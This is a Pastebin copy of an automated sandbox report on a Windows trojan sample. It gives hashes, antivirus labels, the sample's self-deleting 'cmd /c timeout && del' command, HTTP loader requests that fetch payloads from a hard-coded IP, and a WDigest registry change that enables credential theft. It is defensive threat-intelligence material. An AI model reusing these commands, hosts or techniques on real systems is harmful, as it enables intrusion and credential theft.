API tools faq
paste
paladin316

Exes_768263addd1126790603ce99631c8ebd_exe_2019-08-11_14_30.txt

paladin316
Aug 11th, 2019
2,467
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.41 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "shmem"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "Exes_768263addd1126790603ce99631c8ebd.exe"
  7. * File Size: 1344669
  8. * File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  9. * SHA256: "9dbce09b500f61d63813521986a65ae1a571099a2ddcea88d0247f7a32ada2ea"
  10. * MD5: "768263addd1126790603ce99631c8ebd"
  11. * SHA1: "1bc000a0098a765bff26b102e3863db45fb5ee21"
  12. * SHA512: "d76877e0ded093fc7cd3dc9d8c7c77d7c16a58fe69f6a9650725310b8b32dcb8c035d3c88cae0d9a11c97a469bfc513ab1c723545296fb953150996c1558a68f"
  13. * CRC32: "A42A7628"
  14. * SSDEEP: "24576:IAWmrKzy9eWwdvUpj1+NnrX3NrdXc8D3DFv2jlSdowmaRnrBBYnGB:rGu1ftMX3TzylEHQ6"
  15.  
  16. * Process Execution:
  17. "Exes_768263addd1126790603ce99631c8ebd.exe",
  18. "Exes_768263addd1126790603ce99631c8ebd.exe",
  19. "cmd.exe",
  20. "timeout.exe"
  21.  
  22.  
  23. * Executed Commands:
  24. "\"C:\\Users\\user\\AppData\\Local\\Temp\\Exes_768263addd1126790603ce99631c8ebd.exe\"",
  25. "cmd.exe cmd.exe /c timeout 1 && del C:\\Users\\user\\AppData\\Local\\Temp\\Exes_768263addd1126790603ce99631c8ebd.exe\"",
  26. "timeout 1"
  27.  
  28.  
  29. * Signatures Detected:
  30.  
  31. "Description": "Creates RWX memory",
  32. "Details":
  33.  
  34.  
  35. "Description": "Attempts to connect to a dead IP:Port (255 unique times)",
  36. "Details":
  37.  
  38. "IP": "169.254.255.254:445"
  39.  
  40.  
  41. "IP": "169.254.255.254:445"
  42.  
  43.  
  44. "IP": "169.254.255.254:445"
  45.  
  46.  
  47. "IP": "169.254.255.254:445"
  48.  
  49.  
  50. "IP": "169.254.255.254:445"
  51.  
  52.  
  53. "IP": "169.254.255.254:445"
  54.  
  55.  
  56. "IP": "169.254.255.254:445"
  57.  
  58.  
  59. "IP": "169.254.255.254:445"
  60.  
  61.  
  62. "IP": "169.254.255.254:445"
  63.  
  64.  
  65. "IP": "169.254.255.254:445"
  66.  
  67.  
  68. "IP": "169.254.255.254:445"
  69.  
  70.  
  71. "IP": "169.254.255.254:445"
  72.  
  73.  
  74. "IP": "169.254.255.254:445"
  75.  
  76.  
  77. "IP": "169.254.255.254:445"
  78.  
  79.  
  80. "IP": "169.254.255.254:445"
  81.  
  82.  
  83. "IP": "169.254.255.254:445"
  84.  
  85.  
  86. "IP": "169.254.255.254:445"
  87.  
  88.  
  89. "IP": "169.254.255.254:445"
  90.  
  91.  
  92. "IP": "169.254.255.254:445"
  93.  
  94.  
  95. "IP": "169.254.255.254:445"
  96.  
  97.  
  98. "IP": "169.254.255.254:445"
  99.  
  100.  
  101. "IP": "169.254.255.254:445"
  102.  
  103.  
  104. "IP": "169.254.255.254:445"
  105.  
  106.  
  107. "IP": "169.254.255.254:445"
  108.  
  109.  
  110. "IP": "169.254.255.254:445"
  111.  
  112.  
  113. "IP": "169.254.255.254:445"
  114.  
  115.  
  116. "IP": "169.254.255.254:445"
  117.  
  118.  
  119. "IP": "169.254.255.254:445"
  120.  
  121.  
  122. "IP": "169.254.255.254:445"
  123.  
  124.  
  125. "IP": "169.254.255.254:445"
  126.  
  127.  
  128. "IP": "169.254.255.254:445"
  129.  
  130.  
  131. "IP": "169.254.255.254:445"
  132.  
  133.  
  134. "IP": "169.254.255.254:445"
  135.  
  136.  
  137. "IP": "169.254.255.254:445"
  138.  
  139.  
  140. "IP": "169.254.255.254:445"
  141.  
  142.  
  143. "IP": "169.254.255.254:445"
  144.  
  145.  
  146. "IP": "169.254.255.254:445"
  147.  
  148.  
  149. "IP": "169.254.255.254:445"
  150.  
  151.  
  152. "IP": "169.254.255.254:445"
  153.  
  154.  
  155. "IP": "169.254.255.254:445"
  156.  
  157.  
  158. "IP": "169.254.255.254:445"
  159.  
  160.  
  161. "IP": "169.254.255.254:445"
  162.  
  163.  
  164. "IP": "169.254.255.254:445"
  165.  
  166.  
  167. "IP": "169.254.255.254:445"
  168.  
  169.  
  170. "IP": "169.254.255.254:445"
  171.  
  172.  
  173. "IP": "169.254.255.254:445"
  174.  
  175.  
  176. "IP": "169.254.255.254:445"
  177.  
  178.  
  179. "IP": "169.254.255.254:445"
  180.  
  181.  
  182. "IP": "169.254.255.254:445"
  183.  
  184.  
  185. "IP": "169.254.255.254:445"
  186.  
  187.  
  188. "IP": "169.254.255.254:445"
  189.  
  190.  
  191. "IP": "169.254.255.254:445"
  192.  
  193.  
  194. "IP": "169.254.255.254:445"
  195.  
  196.  
  197. "IP": "169.254.255.254:445"
  198.  
  199.  
  200. "IP": "169.254.255.254:445"
  201.  
  202.  
  203. "IP": "169.254.255.254:445"
  204.  
  205.  
  206. "IP": "169.254.255.254:445"
  207.  
  208.  
  209. "IP": "169.254.255.254:445"
  210.  
  211.  
  212. "IP": "169.254.255.254:445"
  213.  
  214.  
  215. "IP": "169.254.255.254:445"
  216.  
  217.  
  218. "IP": "169.254.255.254:445"
  219.  
  220.  
  221. "IP": "169.254.255.254:445"
  222.  
  223.  
  224. "IP": "169.254.255.254:445"
  225.  
  226.  
  227. "IP": "169.254.255.254:445"
  228.  
  229.  
  230. "IP": "169.254.255.254:445"
  231.  
  232.  
  233. "IP": "169.254.255.254:445"
  234.  
  235.  
  236. "IP": "169.254.255.254:445"
  237.  
  238.  
  239. "IP": "169.254.255.254:445"
  240.  
  241.  
  242. "IP": "169.254.255.254:445"
  243.  
  244.  
  245. "IP": "169.254.255.254:445"
  246.  
  247.  
  248. "IP": "169.254.255.254:445"
  249.  
  250.  
  251. "IP": "169.254.255.254:445"
  252.  
  253.  
  254. "IP": "169.254.255.254:445"
  255.  
  256.  
  257. "IP": "169.254.255.254:445"
  258.  
  259.  
  260. "IP": "169.254.255.254:445"
  261.  
  262.  
  263. "IP": "169.254.255.254:445"
  264.  
  265.  
  266. "IP": "169.254.255.254:445"
  267.  
  268.  
  269. "IP": "169.254.255.254:445"
  270.  
  271.  
  272. "IP": "169.254.255.254:445"
  273.  
  274.  
  275. "IP": "169.254.255.254:445"
  276.  
  277.  
  278. "IP": "169.254.255.254:445"
  279.  
  280.  
  281. "IP": "169.254.255.254:445"
  282.  
  283.  
  284. "IP": "169.254.255.254:445"
  285.  
  286.  
  287. "IP": "169.254.255.254:445"
  288.  
  289.  
  290. "IP": "169.254.255.254:445"
  291.  
  292.  
  293. "IP": "169.254.255.254:445"
  294.  
  295.  
  296. "IP": "169.254.255.254:445"
  297.  
  298.  
  299. "IP": "169.254.255.254:445"
  300.  
  301.  
  302. "IP": "169.254.255.254:445"
  303.  
  304.  
  305. "IP": "169.254.255.254:445"
  306.  
  307.  
  308. "IP": "169.254.255.254:445"
  309.  
  310.  
  311. "IP": "169.254.255.254:445"
  312.  
  313.  
  314. "IP": "169.254.255.254:445"
  315.  
  316.  
  317. "IP": "169.254.255.254:445"
  318.  
  319.  
  320. "IP": "169.254.255.254:445"
  321.  
  322.  
  323. "IP": "169.254.255.254:445"
  324.  
  325.  
  326. "IP": "169.254.255.254:445"
  327.  
  328.  
  329. "IP": "169.254.255.254:445"
  330.  
  331.  
  332. "IP": "169.254.255.254:445"
  333.  
  334.  
  335. "IP": "169.254.255.254:445"
  336.  
  337.  
  338. "IP": "169.254.255.254:445"
  339.  
  340.  
  341. "IP": "169.254.255.254:445"
  342.  
  343.  
  344. "IP": "169.254.255.254:445"
  345.  
  346.  
  347. "IP": "169.254.255.254:445"
  348.  
  349.  
  350. "IP": "169.254.255.254:445"
  351.  
  352.  
  353. "IP": "169.254.255.254:445"
  354.  
  355.  
  356. "IP": "169.254.255.254:445"
  357.  
  358.  
  359. "IP": "169.254.255.254:445"
  360.  
  361.  
  362. "IP": "169.254.255.254:445"
  363.  
  364.  
  365. "IP": "169.254.255.254:445"
  366.  
  367.  
  368. "IP": "169.254.255.254:445"
  369.  
  370.  
  371. "IP": "169.254.255.254:445"
  372.  
  373.  
  374. "IP": "169.254.255.254:445"
  375.  
  376.  
  377. "IP": "169.254.255.254:445"
  378.  
  379.  
  380. "IP": "169.254.255.254:445"
  381.  
  382.  
  383. "IP": "169.254.255.254:445"
  384.  
  385.  
  386. "IP": "169.254.255.254:445"
  387.  
  388.  
  389. "IP": "169.254.255.254:445"
  390.  
  391.  
  392. "IP": "169.254.255.254:445"
  393.  
  394.  
  395. "IP": "169.254.255.254:445"
  396.  
  397.  
  398. "IP": "169.254.255.254:445"
  399.  
  400.  
  401. "IP": "169.254.255.254:445"
  402.  
  403.  
  404. "IP": "169.254.255.254:445"
  405.  
  406.  
  407. "IP": "169.254.255.254:445"
  408.  
  409.  
  410. "IP": "169.254.255.254:445"
  411.  
  412.  
  413. "IP": "169.254.255.254:445"
  414.  
  415.  
  416. "IP": "169.254.255.254:445"
  417.  
  418.  
  419. "IP": "169.254.255.254:445"
  420.  
  421.  
  422. "IP": "169.254.255.254:445"
  423.  
  424.  
  425. "IP": "169.254.255.254:445"
  426.  
  427.  
  428. "IP": "169.254.255.254:445"
  429.  
  430.  
  431. "IP": "169.254.255.254:445"
  432.  
  433.  
  434. "IP": "169.254.255.254:445"
  435.  
  436.  
  437. "IP": "169.254.255.254:445"
  438.  
  439.  
  440. "IP": "169.254.255.254:445"
  441.  
  442.  
  443. "IP": "169.254.255.254:445"
  444.  
  445.  
  446. "IP": "169.254.255.254:445"
  447.  
  448.  
  449. "IP": "169.254.255.254:445"
  450.  
  451.  
  452. "IP": "169.254.255.254:445"
  453.  
  454.  
  455. "IP": "169.254.255.254:445"
  456.  
  457.  
  458. "IP": "169.254.255.254:445"
  459.  
  460.  
  461. "IP": "169.254.255.254:445"
  462.  
  463.  
  464. "IP": "169.254.255.254:445"
  465.  
  466.  
  467. "IP": "169.254.255.254:445"
  468.  
  469.  
  470. "IP": "169.254.255.254:445"
  471.  
  472.  
  473. "IP": "169.254.255.254:445"
  474.  
  475.  
  476. "IP": "169.254.255.254:445"
  477.  
  478.  
  479. "IP": "169.254.255.254:445"
  480.  
  481.  
  482. "IP": "169.254.255.254:445"
  483.  
  484.  
  485. "IP": "169.254.255.254:445"
  486.  
  487.  
  488. "IP": "169.254.255.254:445"
  489.  
  490.  
  491. "IP": "169.254.255.254:445"
  492.  
  493.  
  494. "IP": "169.254.255.254:445"
  495.  
  496.  
  497. "IP": "169.254.255.254:445"
  498.  
  499.  
  500. "IP": "169.254.255.254:445"
  501.  
  502.  
  503. "IP": "169.254.255.254:445"
  504.  
  505.  
  506. "IP": "169.254.255.254:445"
  507.  
  508.  
  509. "IP": "169.254.255.254:445"
  510.  
  511.  
  512. "IP": "169.254.255.254:445"
  513.  
  514.  
  515. "IP": "169.254.255.254:445"
  516.  
  517.  
  518. "IP": "169.254.255.254:445"
  519.  
  520.  
  521. "IP": "169.254.255.254:445"
  522.  
  523.  
  524. "IP": "169.254.255.254:445"
  525.  
  526.  
  527. "IP": "169.254.255.254:445"
  528.  
  529.  
  530. "IP": "169.254.255.254:445"
  531.  
  532.  
  533. "IP": "169.254.255.254:445"
  534.  
  535.  
  536. "IP": "169.254.255.254:445"
  537.  
  538.  
  539. "IP": "169.254.255.254:445"
  540.  
  541.  
  542. "IP": "169.254.255.254:445"
  543.  
  544.  
  545. "IP": "169.254.255.254:445"
  546.  
  547.  
  548. "IP": "169.254.255.254:445"
  549.  
  550.  
  551. "IP": "169.254.255.254:445"
  552.  
  553.  
  554. "IP": "169.254.255.254:445"
  555.  
  556.  
  557. "IP": "169.254.255.254:445"
  558.  
  559.  
  560. "IP": "169.254.255.254:445"
  561.  
  562.  
  563. "IP": "169.254.255.254:445"
  564.  
  565.  
  566. "IP": "169.254.255.254:445"
  567.  
  568.  
  569. "IP": "169.254.255.254:445"
  570.  
  571.  
  572. "IP": "169.254.255.254:445"
  573.  
  574.  
  575. "IP": "169.254.255.254:445"
  576.  
  577.  
  578. "IP": "169.254.255.254:445"
  579.  
  580.  
  581. "IP": "169.254.255.254:445"
  582.  
  583.  
  584. "IP": "169.254.255.254:445"
  585.  
  586.  
  587. "IP": "169.254.255.254:445"
  588.  
  589.  
  590. "IP": "169.254.255.254:445"
  591.  
  592.  
  593. "IP": "169.254.255.254:445"
  594.  
  595.  
  596. "IP": "169.254.255.254:445"
  597.  
  598.  
  599. "IP": "169.254.255.254:445"
  600.  
  601.  
  602. "IP": "169.254.255.254:445"
  603.  
  604.  
  605. "IP": "169.254.255.254:445"
  606.  
  607.  
  608. "IP": "169.254.255.254:445"
  609.  
  610.  
  611. "IP": "169.254.255.254:445"
  612.  
  613.  
  614. "IP": "169.254.255.254:445"
  615.  
  616.  
  617. "IP": "169.254.255.254:445"
  618.  
  619.  
  620. "IP": "169.254.255.254:445"
  621.  
  622.  
  623. "IP": "169.254.255.254:445"
  624.  
  625.  
  626. "IP": "169.254.255.254:445"
  627.  
  628.  
  629. "IP": "169.254.255.254:445"
  630.  
  631.  
  632. "IP": "169.254.255.254:445"
  633.  
  634.  
  635. "IP": "169.254.255.254:445"
  636.  
  637.  
  638. "IP": "169.254.255.254:445"
  639.  
  640.  
  641. "IP": "169.254.255.254:445"
  642.  
  643.  
  644. "IP": "169.254.255.254:445"
  645.  
  646.  
  647. "IP": "169.254.255.254:445"
  648.  
  649.  
  650. "IP": "169.254.255.254:445"
  651.  
  652.  
  653. "IP": "169.254.255.254:445"
  654.  
  655.  
  656. "IP": "169.254.255.254:445"
  657.  
  658.  
  659. "IP": "169.254.255.254:445"
  660.  
  661.  
  662. "IP": "169.254.255.254:445"
  663.  
  664.  
  665. "IP": "169.254.255.254:445"
  666.  
  667.  
  668. "IP": "169.254.255.254:445"
  669.  
  670.  
  671. "IP": "169.254.255.254:445"
  672.  
  673.  
  674. "IP": "169.254.255.254:445"
  675.  
  676.  
  677. "IP": "169.254.255.254:445"
  678.  
  679.  
  680. "IP": "169.254.255.254:445"
  681.  
  682.  
  683. "IP": "169.254.255.254:445"
  684.  
  685.  
  686. "IP": "169.254.255.254:445"
  687.  
  688.  
  689. "IP": "169.254.255.254:445"
  690.  
  691.  
  692. "IP": "169.254.255.254:445"
  693.  
  694.  
  695. "IP": "169.254.255.254:445"
  696.  
  697.  
  698. "IP": "169.254.255.254:445"
  699.  
  700.  
  701. "IP": "169.254.255.254:445"
  702.  
  703.  
  704. "IP": "169.254.255.254:445"
  705.  
  706.  
  707. "IP": "169.254.255.254:445"
  708.  
  709.  
  710. "IP": "169.254.255.254:445"
  711.  
  712.  
  713. "IP": "169.254.255.254:445"
  714.  
  715.  
  716. "IP": "169.254.255.254:445"
  717.  
  718.  
  719. "IP": "169.254.255.254:445"
  720.  
  721.  
  722. "IP": "169.254.255.254:445"
  723.  
  724.  
  725. "IP": "169.254.255.254:445"
  726.  
  727.  
  728. "IP": "169.254.255.254:445"
  729.  
  730.  
  731. "IP": "169.254.255.254:445"
  732.  
  733.  
  734. "IP": "169.254.255.254:445"
  735.  
  736.  
  737. "IP": "169.254.255.254:445"
  738.  
  739.  
  740. "IP": "169.254.255.254:445"
  741.  
  742.  
  743. "IP": "169.254.255.254:445"
  744.  
  745.  
  746. "IP": "169.254.255.254:445"
  747.  
  748.  
  749. "IP": "169.254.255.254:445"
  750.  
  751.  
  752. "IP": "169.254.255.254:445"
  753.  
  754.  
  755. "IP": "169.254.255.254:445"
  756.  
  757.  
  758. "IP": "169.254.255.254:445"
  759.  
  760.  
  761. "IP": "169.254.255.254:445"
  762.  
  763.  
  764. "IP": "169.254.255.254:445"
  765.  
  766.  
  767. "IP": "169.254.255.254:445"
  768.  
  769.  
  770. "IP": "169.254.255.254:445"
  771.  
  772.  
  773. "IP": "169.254.255.254:445"
  774.  
  775.  
  776. "IP": "169.254.255.254:445"
  777.  
  778.  
  779. "IP": "169.254.255.254:445"
  780.  
  781.  
  782. "IP": "169.254.255.254:445"
  783.  
  784.  
  785. "IP": "169.254.255.254:445"
  786.  
  787.  
  788. "IP": "169.254.255.254:445"
  789.  
  790.  
  791. "IP": "169.254.255.254:445"
  792.  
  793.  
  794. "IP": "169.254.255.254:445"
  795.  
  796.  
  797. "IP": "169.254.255.254:445"
  798.  
  799.  
  800. "IP": "169.254.255.254:445"
  801.  
  802.  
  803.  
  804.  
  805. "Description": "Expresses interest in specific running processes",
  806. "Details":
  807.  
  808. "process": "lsass.exe"
  809.  
  810.  
  811.  
  812.  
  813. "Description": "A process created a hidden window",
  814. "Details":
  815.  
  816. "Process": "Exes_768263addd1126790603ce99631c8ebd.exe -> C:\\Users\\user\\AppData\\Local\\Temp\\Exes_768263addd1126790603ce99631c8ebd.exe"
  817.  
  818.  
  819. "Process": "Exes_768263addd1126790603ce99631c8ebd.exe -> cmd.exe cmd.exe /c timeout 1 && del C:\\Users\\user\\AppData\\Local\\Temp\\Exes_768263addd1126790603ce99631c8ebd.exe\""
  820.  
  821.  
  822.  
  823.  
  824. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  825. "Details":
  826.  
  827. "ip_hostname": "HTTP connection was made to an IP address rather than domain name"
  828.  
  829.  
  830. "suspicious_request": "http://185.183.96.26/tin.png"
  831.  
  832.  
  833. "suspicious_request": "http://185.183.96.26/sin.png"
  834.  
  835.  
  836.  
  837.  
  838. "Description": "Performs some HTTP requests",
  839. "Details":
  840.  
  841. "url": "http://185.183.96.26/tin.png"
  842.  
  843.  
  844. "url": "http://185.183.96.26/sin.png"
  845.  
  846.  
  847.  
  848.  
  849. "Description": "Executed a process and injected code into it, probably while unpacking",
  850. "Details":
  851.  
  852. "Injection": "Exes_768263addd1126790603ce99631c8ebd.exe(1644) -> Exes_768263addd1126790603ce99631c8ebd.exe(2972)"
  853.  
  854.  
  855.  
  856.  
  857. "Description": "Deletes its original binary from disk",
  858. "Details":
  859.  
  860.  
  861. "Description": "File has been identified by 22 Antiviruses on VirusTotal as malicious",
  862. "Details":
  863.  
  864. "MicroWorld-eScan": "Trojan.GenericKD.41547271"
  865.  
  866.  
  867. "FireEye": "Generic.mg.768263addd112679"
  868.  
  869.  
  870. "McAfee": "Artemis!768263ADDD11"
  871.  
  872.  
  873. "Arcabit": "Trojan.Generic.D279F607"
  874.  
  875.  
  876. "APEX": "Malicious"
  877.  
  878.  
  879. "Paloalto": "generic.ml"
  880.  
  881.  
  882. "Kaspersky": "Trojan-Banker.Win32.Trickster.eoo"
  883.  
  884.  
  885. "BitDefender": "Trojan.GenericKD.41547271"
  886.  
  887.  
  888. "Ad-Aware": "Trojan.GenericKD.41547271"
  889.  
  890.  
  891. "Sophos": "Mal/Generic-S"
  892.  
  893.  
  894. "F-Secure": "Trojan.TR/AD.PatchedWinSwrort.bpkxi"
  895.  
  896.  
  897. "DrWeb": "Trojan.MulDrop4.25343"
  898.  
  899.  
  900. "McAfee-GW-Edition": "Artemis!Trojan"
  901.  
  902.  
  903. "Emsisoft": "Trojan.GenericKD.41547271 (B)"
  904.  
  905.  
  906. "Avira": "TR/AD.PatchedWinSwrort.bpkxi"
  907.  
  908.  
  909. "Microsoft": "Trojan:Win32/Casur.A!cl"
  910.  
  911.  
  912. "Endgame": "malicious (high confidence)"
  913.  
  914.  
  915. "ZoneAlarm": "Trojan-Banker.Win32.Trickster.eoo"
  916.  
  917.  
  918. "MAX": "malware (ai score=84)"
  919.  
  920.  
  921. "ESET-NOD32": "a variant of Win32/GenKryptik.DPSM"
  922.  
  923.  
  924. "Rising": "[email protected] (RDML:W4mBzfwxUxNC2Y/vAaOqsQ)"
  925.  
  926.  
  927. "GData": "Trojan.GenericKD.41547271"
  928.  
  929.  
  930.  
  931.  
  932. "Description": "Created network traffic indicative of malicious activity",
  933. "Details":
  934.  
  935. "signature": "ET USER_AGENTS Suspicious User-Agent (contains loader)"
  936.  
  937.  
  938.  
  939.  
  940.  
  941. * Started Service:
  942.  
  943. * Mutexes:
  944. "gcc-shmem-tdm2-use_fc_key",
  945. "gcc-shmem-tdm2-sjlj_once",
  946. "gcc-shmem-tdm2-fc_key"
  947.  
  948.  
  949. * Modified Files:
  950. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-0000000000-0000000000-0000000000-1000\\00000000-0000-0000-0000-000000000000b_00000000-0000-0000-0000-000000000000",
  951. "C:\\Users\\user\\AppData\\Local\\Temp\\log_install.tmp",
  952. "\\??\\PIPE\\wkssvc",
  953. "\\Device\\LanmanDatagramReceiver",
  954. "\\??\\PIPE\\DAV RPC SERVICE"
  955.  
  956.  
  957. * Deleted Files:
  958. "C:\\Users\\user\\AppData\\Local\\Temp\\log_install.tmp",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\Exes_768263addd1126790603ce99631c8ebd.exe"
  960.  
  961.  
  962. * Modified Registry Keys:
  963. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\SecurityProviders\\WDigest\\UseLogonCredential"
  964.  
  965.  
  966. * Deleted Registry Keys:
  967.  
  968. * DNS Communications:
  969.  
  970. * Domains:
  971.  
  972. * Network Communication - ICMP:
  973.  
  974. * Network Communication - HTTP:
  975.  
  976. "count": 1,
  977. "body": "",
  978. "uri": "http://185.183.96.26/tin.png",
  979. "user-agent": "WinHTTP loader/1.0",
  980. "method": "GET",
  981. "host": "185.183.96.26",
  982. "version": "1.1",
  983. "path": "/tin.png",
  984. "data": "GET /tin.png HTTP/1.1\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\nUser-Agent: WinHTTP loader/1.0\r\nHost: 185.183.96.26\r\n\r\n",
  985. "port": 80
  986.  
  987.  
  988. "count": 1,
  989. "body": "",
  990. "uri": "http://185.183.96.26/sin.png",
  991. "user-agent": "WinHTTP loader/1.0",
  992. "method": "GET",
  993. "host": "185.183.96.26",
  994. "version": "1.1",
  995. "path": "/sin.png",
  996. "data": "GET /sin.png HTTP/1.1\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\nUser-Agent: WinHTTP loader/1.0\r\nHost: 185.183.96.26\r\n\r\n",
  997. "port": 80
  998.  
  999.  
  1000.  
  1001. * Network Communication - SMTP:
  1002.  
  1003. * Network Communication - Hosts:
  1004.  
  1005. * Network Communication - IRC:
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!